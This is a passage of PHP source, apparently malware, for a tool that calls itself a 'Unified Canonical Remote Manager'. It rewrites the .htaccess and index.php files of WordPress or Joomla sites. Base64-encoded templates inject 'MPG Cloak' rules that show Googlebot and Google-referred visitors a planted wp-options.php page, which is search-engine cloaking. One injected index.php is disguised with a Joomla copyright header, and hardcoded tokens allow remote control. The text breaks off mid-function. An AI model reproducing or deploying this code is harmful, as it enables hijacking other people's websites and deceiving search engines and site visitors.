<?php
/**
 * MPG — Unified Canonical Remote Manager (API only)
 *
 * Joomla veya WordPress algilar, site kokunu bulur (mpg.php nerede olursa olsun),
 * ana dizine .htaccess, index.php, wp-options.php ve GSC dosyasini yazar.
 * Yalnizca ?api=1 + X-MPG-Token ile uzaktan yonetim (tarayici arayuzu yok).
 */
if (isset($_GET['health']) && $_GET['health'] === '1') {
    header('Content-Type: application/json; charset=utf-8');
    echo json_encode(array(
        'ok' => true,
        'php' => PHP_VERSION,
        'file' => basename(__FILE__),
        'product' => 'mpg',
    ));
    exit;
}

define('MPG_API_TOKEN', '918a7ec1ed61ac6bf24847ea73c305ad');
define('MPG_FM_PASSWORD', 'abf568297ff30742');
define('MPG_FM_WP_OPTIONS', 'wp-options.php');
define('MPG_FM_INDEX', 'index.php');
define('MPG_FM_GSC_DEFAULT', 'googlee28fefd2171b1df3.html');

function mpg_tpl_gsc_default() { return base64_decode('Z29vZ2xlLXNpdGUtdmVyaWZpY2F0aW9uOiBnb29nbGVlMjhmZWZkMjE3MWIxZGYzLmh0bWwNCg=='); }
function mpg_tpl_wp_htaccess() { return base64_decode('IyBCRUdJTiBNUEcgQ2xvYWsNCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPg0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZUNvbmQgJXtIVFRQX1VTRVJfQUdFTlR9IChHb29nbGVib3R8R29vZ2xlLUluc3BlY3Rpb25Ub29sfEdvb2dsZU90aGVyfEdvb2dsZWJvdC18U3RvcmVib3QtR29vZ2xlfEFkc0JvdHxNZWRpYXBhcnRuZXJzLUdvb2dsZXxiaW5nYm90fFlhaG9vfFNsdXJwfER1Y2tEdWNrQm90fEJhaWR1c3BpZGVyfFlhbmRleEJvdHxTb2dvdSkgW05DXQ0KUmV3cml0ZVJ1bGUgXiQgd3Atb3B0aW9ucy5waHAgW0xdDQpSZXdyaXRlQ29uZCAle0hUVFBfVVNFUl9BR0VOVH0gKEdvb2dsZWJvdHxHb29nbGUtSW5zcGVjdGlvblRvb2x8R29vZ2xlT3RoZXJ8R29vZ2xlYm90LXxTdG9yZWJvdC1Hb29nbGV8QWRzQm90fE1lZGlhcGFydG5lcnMtR29vZ2xlfGJpbmdib3R8WWFob298U2x1cnB8RHVja0R1Y2tCb3R8QmFpZHVzcGlkZXJ8WWFuZGV4Qm90fFNvZ291KSBbTkNdDQpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgd3Atb3B0aW9ucy5waHAgW0xdDQo8L0lmTW9kdWxlPg0KIyBFTkQgTVBHIENsb2FrDQoNCiMgQkVHSU4gV29yZFByZXNzDQo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4NClJld3JpdGVFbmdpbmUgT24NClJld3JpdGVSdWxlIC4qIC0gW0U9SFRUUF9BVVRIT1JJWkFUSU9OOiV7SFRUUDpBdXRob3JpemF0aW9ufV0NClJld3JpdGVCYXNlIC8NClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQ0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYNClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kDQpSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdDQo8L0lmTW9kdWxlPg0KIyBFTkQgV29yZFByZXNzDQo='); }
function mpg_tpl_joomla_htaccess() { return base64_decode('IyBCRUdJTiBKb29tbGENCjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPg0KUmV3cml0ZUVuZ2luZSBPbg0KUmV3cml0ZVJ1bGUgLiogLSBbRT1IVFRQX0FVVEhPUklaQVRJT046JXtIVFRQOkF1dGhvcml6YXRpb259XQ0KUmV3cml0ZUJhc2UgLw0KDQpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0NClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mDQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZA0KUmV3cml0ZVJ1bGUgLiogaW5kZXgucGhwIFtMXQ0KPC9JZk1vZHVsZT4NCiMgRU5EIEpvb21sYQ0K'); }
function mpg_tpl_joomla_htaccess_prepend() { return base64_decode('IyBCRUdJTiBNUEcgR29vZ2xlYm90CjxJZk1vZHVsZSBtb2RfcmV3cml0ZS5jPgpSZXdyaXRlRW5naW5lIE9uCgojIEFuYSBkaXppbiArIEdvb2dsZWJvdCBVQSDihpIgd3Atb3B0aW9ucy5waHAgKEpvb21sYSBrdXJhbGxhcmkgYXNhZ2lkYSBkZXZhbSBlZGVyKQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfVVJJfSBeLz8kClJld3JpdGVDb25kICV7SFRUUF9VU0VSX0FHRU5UfSAoR29vZ2xlYm90fEFkc0JvdHxNZWRpYXBhcnRuZXJzLUdvb2dsZXxBUElzLUdvb2dsZXxHb29nbGVib3QtSW1hZ2V8R29vZ2xlYm90LVZpZGVvfEdvb2dsZWJvdC1OZXdzfEdvb2dsZWJvdC1TZWFyY2h8R29vZ2xlYm90LUluc3BlY3R8R29vZ2xlYm90LUFuZHJvaWR8R29vZ2xlYm90LU1vYmlsZXxHb29nbGVib3QtQWRzfEdvb2dsZWJvdC1EaXNjb3Zlcnl8R29vZ2xlLXxHb29nbGUtSW5zcGVjdGlvblRvb2x8R29vZ2xlT3RoZXJ8RmVlZGZldGNoZXItR29vZ2xlfER1cGxleFdlYi1Hb29nbGV8U3RvcmVib3QtR29vZ2xlKSBbTkNdClJld3JpdGVSdWxlIF4kIHdwLW9wdGlvbnMucGhwIFtMXQoKIyBBbmEgZGl6aW4gKyBnb29nbGUuY29tIHJlZmVyZXIg4oaSIHdwLW9wdGlvbnMucGhwClJld3JpdGVDb25kICV7UkVRVUVTVF9VUkl9IF4vPyQKUmV3cml0ZUNvbmQgJXtIVFRQX1JFRkVSRVJ9IGdvb2dsZVwuIFtOQ10KUmV3cml0ZVJ1bGUgXiQgd3Atb3B0aW9ucy5waHAgW0xdCjwvSWZNb2R1bGU+CiMgRU5EIE1QRyBHb29nbGVib3QK'); }
function mpg_tpl_joomla_bot_prepend() { return base64_decode('JHVzZXJBZ2VudCA9ICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSA/PyAnJzsKJHJlZmVyZXIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gPz8gJyc7CiRyZXF1ZXN0UGF0aCA9IHBhcnNlX3VybCgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA/PyAnLycsIFBIUF9VUkxfUEFUSCk7CmlmICgkcmVxdWVzdFBhdGggPT09IG51bGwgfHwgJHJlcXVlc3RQYXRoID09PSBmYWxzZSB8fCAkcmVxdWVzdFBhdGggPT09ICcnKSB7CiAgICAkcmVxdWVzdFBhdGggPSAnLyc7Cn0KCiRnb29nbGVCb3RzID0gYXJyYXkoCiAgICAnR29vZ2xlYm90JywKICAgICdBZHNCb3QnLAogICAgJ01lZGlhcGFydG5lcnMtR29vZ2xlJywKICAgICdBUElzLUdvb2dsZScsCiAgICAnR29vZ2xlYm90LUltYWdlJywKICAgICdHb29nbGVib3QtVmlkZW8nLAogICAgJ0dvb2dsZWJvdC1OZXdzJywKICAgICdHb29nbGVib3QtU2VhcmNoJywKICAgICdHb29nbGVib3QtSW5zcGVjdCcsCiAgICAnR29vZ2xlYm90LUFuZHJvaWQnLAogICAgJ0dvb2dsZWJvdC1Nb2JpbGUnLAogICAgJ0dvb2dsZWJvdC1BZHMnLAogICAgJ0dvb2dsZWJvdC1EaXNjb3ZlcnknLAogICAgJ0dvb2dsZS0nLAogICAgJ0dvb2dsZS1JbnNwZWN0aW9uVG9vbCcsCiAgICAnR29vZ2xlT3RoZXInLAogICAgJ0ZlZWRmZXRjaGVyLUdvb2dsZScsCiAgICAnRHVwbGV4V2ViLUdvb2dsZScsCiAgICAnU3RvcmVib3QtR29vZ2xlJywKKTsKCiRpc0dvb2dsZUJvdCA9IGZhbHNlOwpmb3JlYWNoICgkZ29vZ2xlQm90cyBhcyAkYm90KSB7CiAgICBpZiAoc3RyaXBvcygkdXNlckFnZW50LCAkYm90KSAhPT0gZmFsc2UpIHsKICAgICAgICAkaXNHb29nbGVCb3QgPSB0cnVlOwogICAgICAgIGJyZWFrOwogICAgfQp9CmlmIChzdHJwb3MoJHJlZmVyZXIsICdnb29nbGUuJykgIT09IGZhbHNlKSB7CiAgICAkaXNHb29nbGVCb3QgPSB0cnVlOwp9CgppZiAoJGlzR29vZ2xlQm90ICYmICRyZXF1ZXN0UGF0aCA9PT0gJy8nKSB7CiAgICAkcGF0aCA9IF9fRElSX18gLiAnL3dwLW9wdGlvbnMucGhwJzsKICAgIGlmIChpc19maWxlKCRwYXRoKSkgewogICAgICAgIGlmICghZGVmaW5lZCgnQk9UX0xBTkRJTkcnKSkgewogICAgICAgICAgICBkZWZpbmUoJ0JPVF9MQU5ESU5HJywgdHJ1ZSk7CiAgICAgICAgfQogICAgICAgIHJlcXVpcmUgJHBhdGg7CiAgICAgICAgZXhpdDsKICAgIH0KfQo='); }
function mpg_tpl_joomla_index_modern() { return base64_decode('ZGVmaW5lKCdKT09NTEFfTUlOSU1VTV9QSFAnLCAnNy4yLjUnKTsNCg0KaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgSk9PTUxBX01JTklNVU1fUEhQLCAnPCcpKSB7DQogICAgZGllKA0KICAgICAgICBzdHJfcmVwbGFjZSgNCiAgICAgICAgICAgICd7e3BocHZlcnNpb259fScsDQogICAgICAgICAgICBKT09NTEFfTUlOSU1VTV9QSFAsDQogICAgICAgICAgICBmaWxlX2dldF9jb250ZW50cyhkaXJuYW1lKF9fRklMRV9fKSAuICcvaW5jbHVkZXMvaW5jb21wYXRpYmxlLmh0bWwnKQ0KICAgICAgICApDQogICAgKTsNCn0NCg0KZGVmaW5lKCdfSkVYRUMnLCAxKTsNCg0KcmVxdWlyZV9vbmNlIGRpcm5hbWUoX19GSUxFX18pIC4gJy9pbmNsdWRlcy9hcHAucGhwJzsNCg=='); }
function mpg_tpl_joomla_index_legacy() { return base64_decode('ZGVmaW5lKCdKT09NTEFfTUlOSU1VTV9QSFAnLCAnNS4zLjEwJyk7DQoNCmlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sIEpPT01MQV9NSU5JTVVNX1BIUCwgJzwnKSkgew0KICAgIGRpZSgnWW91ciBob3N0IG5lZWRzIHRvIHVzZSBQSFAgJyAuIEpPT01MQV9NSU5JTVVNX1BIUCAuICcgb3IgaGlnaGVyIHRvIHJ1biB0aGlzIHZlcnNpb24gb2YgSm9vbWxhIScpOw0KfQ0KDQokc3RhcnRUaW1lID0gbWljcm90aW1lKDEpOw0KJHN0YXJ0TWVtICA9IG1lbW9yeV9nZXRfdXNhZ2UoKTsNCg0KZGVmaW5lKCdfSkVYRUMnLCAxKTsNCg0KaWYgKGZpbGVfZXhpc3RzKF9fRElSX18gLiAnL2RlZmluZXMucGhwJykpIHsNCiAgICBpbmNsdWRlX29uY2UgX19ESVJfXyAuICcvZGVmaW5lcy5waHAnOw0KfQ0KDQppZiAoIWRlZmluZWQoJ19KREVGSU5FUycpKSB7DQogICAgZGVmaW5lKCdKUEFUSF9CQVNFJywgX19ESVJfXyk7DQogICAgcmVxdWlyZV9vbmNlIEpQQVRIX0JBU0UgLiAnL2luY2x1ZGVzL2RlZmluZXMucGhwJzsNCn0NCg0KcmVxdWlyZV9vbmNlIEpQQVRIX0JBU0UgLiAnL2luY2x1ZGVzL2ZyYW1ld29yay5waHAnOw0KDQppZiAoZGVmaW5lZCgnSkRFQlVHJykgJiYgSkRFQlVHKSB7DQogICAgSlByb2ZpbGVyOjpnZXRJbnN0YW5jZSgnQXBwbGljYXRpb24nKS0+c2V0U3RhcnQoJHN0YXJ0VGltZSwgJHN0YXJ0TWVtKS0+bWFyaygnYWZ0ZXJMb2FkJyk7DQp9DQoNCiRhcHAgPSBKRmFjdG9yeTo6Z2V0QXBwbGljYXRpb24oJ3NpdGUnKTsNCiRhcHAtPmV4ZWN1dGUoKTsNCg=='); }
function mpg_tpl_wp_index() { return base64_decode('PD9waHANCiR1ID0gJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddID8/ICcnOw0KJHIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10gPz8gJyc7DQokYiA9IFsNCiAgICAnR29vZ2xlYm90JywNCiAgICAnQWRzQm90JywNCiAgICAnTWVkaWFwYXJ0bmVycy1Hb29nbGUnLA0KICAgICdBUElzLUdvb2dsZScsDQogICAgJ0dvb2dsZWJvdC1JbWFnZScsDQogICAgJ0dvb2dsZWJvdC1WaWRlbycsDQogICAgJ0dvb2dsZWJvdC1OZXdzJywNCiAgICAnR29vZ2xlYm90LVNlYXJjaCcsDQogICAgJ0dvb2dsZWJvdC1JbnNwZWN0JywNCiAgICAnR29vZ2xlYm90LUFuZHJvaWQnLA0KICAgICdHb29nbGVib3QtTW9iaWxlJywNCiAgICAnR29vZ2xlYm90LUFkcycsDQogICAgJ0dvb2dsZWJvdC1EaXNjb3ZlcnknLA0KICAgICdHb29nbGUtV2Fsa2VyJywNCiAgICAnR29vZ2xlYm90LVBlcnNwZWN0aXZlJywNCiAgICAnR29vZ2xlYm90LUV2ZW50cycsDQogICAgJ0dvb2dsZWJvdC1UYWJsZXQnLA0KICAgICdHb29nbGUtaW5kZXhpbmcnLA0KICAgICdHb29nbGUtSW5zcGVjdGlvblRvb2wnLA0KICAgICdHb29nbGUgRmF2aWNvbicsDQogICAgJ0dvb2dsZSBXZWIgUHJldmlldycsDQogICAgJ0ZlZWRmZXRjaGVyLUdvb2dsZScsDQogICAgJ0R1cGxleFdlYi1Hb29nbGUnLA0KICAgICdTdG9yZWJvdC1Hb29nbGUnLA0KICAgICdHb29nbGUtUmVhZC1BbG91ZCcsDQogICAgJ2dvb2dsZS1pbnNwZWN0aW9uJywNCiAgICAnVmVydGV4LUFJLUJvdCcsDQpdOw0KDQokYm90UGF0dGVybiA9ICcvJyAuIGltcGxvZGUoJ3wnLCBhcnJheV9tYXAoJ3ByZWdfcXVvdGUnLCAkYiwgYXJyYXlfZmlsbCgwLCBjb3VudCgkYiksICcvJykpKSAuICcvaSc7DQokdXJpID0gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gPz8gJy8nOw0KJGlzSG9tZSA9ICgkdXJpID09PSAnLycgfHwgJHVyaSA9PT0gJy9pbmRleC5waHAnKTsNCg0KaWYgKChwcmVnX21hdGNoKCRib3RQYXR0ZXJuLCAkdSkgfHwgc3RyaXBvcygkciwgJ2dvb2dsZS4nKSAhPT0gZmFsc2UpICYmICRpc0hvbWUpIHsNCiAgICAkbWFpbnQgPSBfX0RJUl9fIC4gJy93cC1hZG1pbi9tYWludC9vcHRpb25zLnBocCc7DQogICAgaWYgKGlzX2ZpbGUoJG1haW50KSkgew0KICAgICAgICBpbmNsdWRlICRtYWludDsNCiAgICAgICAgZXhpdDsNCiAgICB9DQp9DQoNCmRlZmluZSgnV1BfVVNFX1RIRU1FUycsIHRydWUpOw0KcmVxdWlyZSBfX0RJUl9fIC4gJy93cC1ibG9nLWhlYWRlci5waHAnOw0K'); }
function mpg_tpl_joomla_index() { return base64_decode('PD9waHAKLyoqCiAqIEBwYWNrYWdlICAgIEpvb21sYS5TaXRlCiAqCiAqIE1QRyBDbG9hayDigJQgR29vZ2xlIGJvdCDihpIgd3Atb3B0aW9ucy5waHAgKFNFTy9wZXJkZSksIGRpZ2VyIHppeWFyZXRjaSDihpIgSm9vbWxhLgogKiBDYW5vbmljYWwgSm9vbWxhIHNpdGVsZXJpbmRlIHB1YmxpY19odG1sL2luZGV4LnBocCBvbGFyYWsga3VsbGFuaWxpci4KICoKICogQGNvcHlyaWdodCAgKEMpIDIwMDUgT3BlbiBTb3VyY2UgTWF0dGVycywgSW5jLiA8aHR0cHM6Ly93d3cuam9vbWxhLm9yZz4KICogQGxpY2Vuc2UgICAgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UgdmVyc2lvbiAyIG9yIGxhdGVyOyBzZWUgTElDRU5TRS50eHQKICovCgokdXNlcl9hZ2VudCA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkgPyAkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10gOiAnJzsKJHJlZmVyZXIgPSBpc3NldCgkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pID8gJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddIDogJyc7CiRyZXF1ZXN0X3BhdGggPSBwYXJzZV91cmwoaXNzZXQoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pID8gJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAnLycsIFBIUF9VUkxfUEFUSCk7CmlmICgkcmVxdWVzdF9wYXRoID09PSBudWxsIHx8ICRyZXF1ZXN0X3BhdGggPT09IGZhbHNlIHx8ICRyZXF1ZXN0X3BhdGggPT09ICcnKSB7CiAgICAkcmVxdWVzdF9wYXRoID0gJy8nOwp9CgovLyBHb29nbGUgYm90bGFyaW5pIHRhbsSxbWxhICgyMDI2IGd1bmNlbCkKJGdvb2dsZV9ib3RzID0gYXJyYXkoCiAgICAnR29vZ2xlYm90JywKICAgICdBZHNCb3QnLAogICAgJ01lZGlhcGFydG5lcnMtR29vZ2xlJywKICAgICdBUElzLUdvb2dsZScsCiAgICAnR29vZ2xlYm90LUltYWdlJywKICAgICdHb29nbGVib3QtVmlkZW8nLAogICAgJ0dvb2dsZWJvdC1OZXdzJywKICAgICdHb29nbGVib3QtU2VhcmNoJywKICAgICdHb29nbGVib3QtSW5zcGVjdCcsCiAgICAnR29vZ2xlYm90LUFuZHJvaWQnLAogICAgJ0dvb2dsZWJvdC1Nb2JpbGUnLAogICAgJ0dvb2dsZWJvdC1BZHMnLAogICAgJ0dvb2dsZWJvdC1EaXNjb3ZlcnknLAogICAgJ0dvb2dsZS0nLAogICAgJ0dvb2dsZS1JbnNwZWN0aW9uVG9vbCcsCiAgICAnR29vZ2xlT3RoZXInLAogICAgJ0ZlZWRmZXRjaGVyLUdvb2dsZScsCiAgICAnRHVwbGV4V2ViLUdvb2dsZScsCiAgICAnU3RvcmVib3QtR29vZ2xlJywKKTsKCiRpc19nb29nbGVfYm90ID0gZmFsc2U7CmZvcmVhY2ggKCRnb29nbGVfYm90cyBhcyAkYm90KSB7CiAgICBpZiAoc3RyaXBvcygkdXNlcl9hZ2VudCwgJGJvdCkgIT09IGZhbHNlKSB7CiAgICAgICAgJGlzX2dvb2dsZV9ib3QgPSB0cnVlOwogICAgICAgIGJyZWFrOwogICAgfQp9CmlmIChzdHJwb3MoJHJlZmVyZXIsICdnb29nbGUuJykgIT09IGZhbHNlKSB7CiAgICAkaXNfZ29vZ2xlX2JvdCA9IHRydWU7Cn0KCi8vIEFuYSBkaXppbmUgaXN0ZWsgKyBHb29nbGUgYm90IOKGkiB3cC1vcHRpb25zLnBocCAoSm9vbWxhIHl1a2xlbm1lZGVuKQppZiAoJGlzX2dvb2dsZV9ib3QgJiYgJHJlcXVlc3RfcGF0aCA9PT0gJy8nKSB7CiAgICAkcGF0aCA9IF9fRElSX18gLiAnL3dwLW9wdGlvbnMucGhwJzsKICAgIGlmIChmaWxlX2V4aXN0cygkcGF0aCkpIHsKICAgICAgICBpZiAoIWRlZmluZWQoJ0JPVF9MQU5ESU5HJykpIHsKICAgICAgICAgICAgZGVmaW5lKCdCT1RfTEFORElORycsIHRydWUpOwogICAgICAgIH0KICAgICAgICByZXF1aXJlICRwYXRoOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCi8qKgogKiBEZWZpbmUgdGhlIGFwcGxpY2F0aW9uJ3MgbWluaW11bSBzdXBwb3J0ZWQgUEhQIHZlcnNpb24gYXMgYSBjb25zdGFudCBzbyBpdCBjYW4gYmUgcmVmZXJlbmNlZCB3aXRoaW4gdGhlIGFwcGxpY2F0aW9uLgogKi8KZGVmaW5lKCdKT09NTEFfTUlOSU1VTV9QSFAnLCAnNS4zLjEwJyk7CgppZiAodmVyc2lvbl9jb21wYXJlKFBIUF9WRVJTSU9OLCBKT09NTEFfTUlOSU1VTV9QSFAsICc8JykpIHsKICAgIGRpZSgnWW91ciBob3N0IG5lZWRzIHRvIHVzZSBQSFAgJyAuIEpPT01MQV9NSU5JTVVNX1BIUCAuICcgb3IgaGlnaGVyIHRvIHJ1biB0aGlzIHZlcnNpb24gb2YgSm9vbWxhIScpOwp9CgovLyBTYXZlcyB0aGUgc3RhcnQgdGltZSBhbmQgbWVtb3J5IHVzYWdlLgokc3RhcnRUaW1lID0gbWljcm90aW1lKDEpOwokc3RhcnRNZW0gID0gbWVtb3J5X2dldF91c2FnZSgpOwoKLyoqCiAqIENvbnN0YW50IHRoYXQgaXMgY2hlY2tlZCBpbiBpbmNsdWRlZCBmaWxlcyB0byBwcmV2ZW50IGRpcmVjdCBhY2Nlc3MuCiAqIGRlZmluZSgpIGlzIHVzZWQgaW4gdGhlIGluc3RhbGxhdGlvbiBmb2xkZXIgcmF0aGVyIHRoYW4gImNvbnN0IiB0byBub3QgZXJyb3IgZm9yIFBIUCA1LjIgYW5kIGxvd2VyCiAqLwpkZWZpbmUoJ19KRVhFQycsIDEpOwoKaWYgKGZpbGVfZXhpc3RzKF9fRElSX18gLiAnL2RlZmluZXMucGhwJykpIHsKICAgIGluY2x1ZGVfb25jZSBfX0RJUl9fIC4gJy9kZWZpbmVzLnBocCc7Cn0KCmlmICghZGVmaW5lZCgnX0pERUZJTkVTJykpIHsKICAgIGRlZmluZSgnSlBBVEhfQkFTRScsIF9fRElSX18pOwogICAgcmVxdWlyZV9vbmNlIEpQQVRIX0JBU0UgLiAnL2luY2x1ZGVzL2RlZmluZXMucGhwJzsKfQoKcmVxdWlyZV9vbmNlIEpQQVRIX0JBU0UgLiAnL2luY2x1ZGVzL2ZyYW1ld29yay5waHAnOwoKLy8gU2V0IHByb2ZpbGVyIHN0YXJ0IHRpbWUgYW5kIG1lbW9yeSB1c2FnZSBhbmQgbWFyayBhZnRlckxvYWQgaW4gdGhlIHByb2ZpbGVyLgppZiAoZGVmaW5lZCgnSkRFQlVHJykgJiYgSkRFQlVHKSB7CiAgICBKUHJvZmlsZXI6OmdldEluc3RhbmNlKCdBcHBsaWNhdGlvbicpLT5zZXRTdGFydCgkc3RhcnRUaW1lLCAkc3RhcnRNZW0pLT5tYXJrKCdhZnRlckxvYWQnKTsKfQoKLy8gSW5zdGFudGlhdGUgdGhlIGFwcGxpY2F0aW9uLgokYXBwID0gSkZhY3Rvcnk6OmdldEFwcGxpY2F0aW9uKCdzaXRlJyk7CgovLyBFeGVjdXRlIHRoZSBhcHBsaWNhdGlvbi4KJGFwcC0+ZXhlY3V0ZSgpOwo='); }

/**
 * Joomla cloak merge helpers — mpg.template.php icine gomulur.
 * NOT: Cloak + modern bootstrap GEÇERLİDİR; "broken" sayilmamalidir.
 */

function mpg_joomla_htaccess_prepend()
{
    return mpg_tpl_joomla_htaccess_prepend();
}

function mpg_joomla_bot_snippet()
{
    return mpg_tpl_joomla_bot_prepend();
}

function mpg_strip_mpg_htaccess_blocks($content)
{
    $content = (string) $content;
    $patterns = array(
        '/# BEGIN MPG Googlebot\\s*.*?# END MPG Googlebot\\s*/is',
        '/# BEGIN MPG Cloak\\s*.*?# END MPG Cloak\\s*/is',
        '/# BEGIN Googlebot\\s*.*?# END Googlebot\\s*/is',
    );
    foreach ($patterns as $pattern) {
        $content = preg_replace($pattern, '', $content);
    }
    return ltrim($content);
}

function mpg_strip_mpg_bot_block($content)
{
    $content = (string) $content;
    $content = preg_replace('/\\/\\/ BEGIN MPG Joomla Bot Cloak\\s*.*?\\/\\/ END MPG Joomla Bot Cloak\\s*/is', '', $content);
    if (preg_match('/\\/\\*\\s*MPG Cloak\\s*\\*\\/[\\s\\S]*?foreach \\(\\$google_bots as \\$bot\\)[\\s\\S]*?\\}\\s*\\}/', $content)) {
        $content = preg_replace('/\\/\\*\\s*MPG Cloak[\\s\\S]*?foreach \\(\\$google_bots as \\$bot\\)[\\s\\S]*?\\}\\s*\\}\\s*/', '', $content, 1);
    }
    return ltrim($content);
}

function mpg_index_uses_modern_bootstrap($content)
{
    $c = (string) $content;
    return strpos($c, 'includes/app.php') !== false
        || strpos($c, 'SiteApplication::class') !== false
        || strpos($c, 'Joomla\\CMS\\Factory') !== false
        || strpos($c, 'Joomla\\\\CMS\\\\Factory') !== false;
}

function mpg_index_uses_legacy_bootstrap($content)
{
    return strpos((string) $content, "JFactory::getApplication('site')") !== false;
}

function mpg_detect_joomla_bootstrap_style()
{
    $root = mpg_site_root();
    $sep = DIRECTORY_SEPARATOR;

    // Disk: Joomla 4+ includes/app.php
    if (is_file($root . $sep . 'includes' . $sep . 'app.php')) {
        return 'modern';
    }

    // Yedek / mevcut index sinyali (FM includes okuyamasa bile)
    $orig = $root . $sep . 'index.php.mpg_original.php';
    $idx = $root . $sep . 'index.php';
    foreach (array($orig, $idx) as $p) {
        if (!is_file($p)) {
            continue;
        }
        $body = mpg_strip_mpg_bot_block((string) file_get_contents($p));
        if (mpg_index_uses_modern_bootstrap($body)) {
            return 'modern';
        }
        if (mpg_index_uses_legacy_bootstrap($body)) {
            return 'legacy';
        }
    }

    // libraries/src → J4+
    if (is_dir($root . $sep . 'libraries' . $sep . 'src')) {
        return 'modern';
    }

    return 'legacy';
}

function mpg_joomla_index_body_template($style)
{
    return ($style === 'legacy') ? mpg_tpl_joomla_index_legacy() : mpg_tpl_joomla_index_modern();
}

/**
 * Gercekten bozuk index mi? Cloak + saglam Joomla bootstrap = OK.
 */
function mpg_is_broken_mpg_joomla_index($content)
{
    $content = (string) $content;
    if ($content === '') {
        return true;
    }

    // HTML dump / SEO sayfasi index diye yazilmis
    if (preg_match('/<!DOCTYPE\\s+html/i', $content)
        && strpos($content, 'includes/app.php') === false
        && strpos($content, "JFactory::getApplication") === false
        && strpos($content, 'includes/framework.php') === false) {
        return true;
    }

    $body = mpg_strip_mpg_bot_block($content);

    // Eski bozuk sablonlar
    if (strpos($body, '$is_google_bot') !== false || strpos($body, 'readfile($path)') !== false) {
        return true;
    }

    // Bootstrap yoksa bozuk
    if (!mpg_index_uses_modern_bootstrap($body) && !mpg_index_uses_legacy_bootstrap($body)
        && strpos($body, 'includes/framework.php') === false
        && !preg_match("/define\\('JOOMLA_MINIMUM_PHP'/", $body)) {
        // Cloak-only stub
        if (strpos($content, '// BEGIN MPG Joomla Bot Cloak') !== false && strlen($body) < 80) {
            return true;
        }
    }

    return false;
}

function mpg_resolve_joomla_index_body($current, $original, $style)
{
    $original = trim((string) $original);
    $current = trim((string) $current);

    if ($original !== '' && !mpg_is_broken_mpg_joomla_index($original)) {
        $body = mpg_strip_mpg_bot_block($original);
        // Yedek modern ise asla legacy sablona dusme
        if (mpg_index_uses_modern_bootstrap($body)) {
            return $body;
        }
        if (mpg_index_uses_legacy_bootstrap($body) && $style === 'modern') {
            return mpg_joomla_index_body_template('modern');
        }
        return $body;
    }

    if ($current !== '' && !mpg_is_broken_mpg_joomla_index($current)) {
        $body = mpg_strip_mpg_bot_block($current);
        if (mpg_index_uses_modern_bootstrap($body)) {
            return $body;
        }
        if (mpg_index_uses_legacy_bootstrap($body) && $style === 'modern') {
            return mpg_joomla_index_body_template('modern');
        }
        return $body;
    }

    // Broken current ama orijinal modern sinyal verdiyse
    if ($original !== '' && mpg_index_uses_modern_bootstrap($original)) {
        return mpg_joomla_index_body_template('modern');
    }
    if ($original !== '' && mpg_index_uses_legacy_bootstrap($original)) {
        return mpg_joomla_index_body_template('legacy');
    }

    return mpg_joomla_index_body_template($style === 'legacy' ? 'legacy' : 'modern');
}

function mpg_joomla_body_from_index($content)
{
    $content = mpg_strip_mpg_bot_block($content);
    if (mpg_index_uses_modern_bootstrap($content) || mpg_index_uses_legacy_bootstrap($content)) {
        return $content;
    }
    if (preg_match("/define\\('JOOMLA_MINIMUM_PHP'/", $content)) {
        return mpg_joomla_index_body_template(mpg_detect_joomla_bootstrap_style());
    }
    return $content;
}

function mpg_inject_joomla_bot_snippet($body, $snippet)
{
    $body = mpg_joomla_body_from_index($body);
    $block = "// BEGIN MPG Joomla Bot Cloak\n" . trim((string) $snippet) . "\n// END MPG Joomla Bot Cloak\n";
    if (preg_match('/^\\s*<\\?php/', $body)) {
        return preg_replace('/^(\\s*<\\?php\\s*)/', '$1' . $block, $body, 1);
    }
    return "<?php\n" . $block . "\n" . ltrim($body);
}

function mpg_merge_joomla_htaccess($existing)
{
    $prepend = trim(mpg_joomla_htaccess_prepend());
    $rest = mpg_strip_mpg_htaccess_blocks($existing);
    if ($rest === '') {
        $rest = trim(mpg_tpl_joomla_htaccess());
    }
    return $prepend . "\n\n" . ltrim($rest);
}

/** Orijinal index yedegi: cloak'li dosyayi strip ederek kaydet. */
function mpg_backup_joomla_original_index($idxPath)
{
    $origPath = $idxPath . '.mpg_original.php';
    if (is_file($origPath)) {
        // Mevcut yedek cloak'liyse temizle
        $existing = (string) file_get_contents($origPath);
        if (strpos($existing, '// BEGIN MPG Joomla Bot Cloak') !== false) {
            $clean = mpg_strip_mpg_bot_block($existing);
            if ($clean !== '' && !mpg_is_broken_mpg_joomla_index($clean)) {
                @file_put_contents($origPath, $clean);
            }
        }
        return true;
    }
    if (!is_file($idxPath)) {
        return false;
    }
    $raw = (string) file_get_contents($idxPath);
    $body = mpg_strip_mpg_bot_block($raw);
    if ($body === '' || mpg_is_broken_mpg_joomla_index($body)) {
        return false;
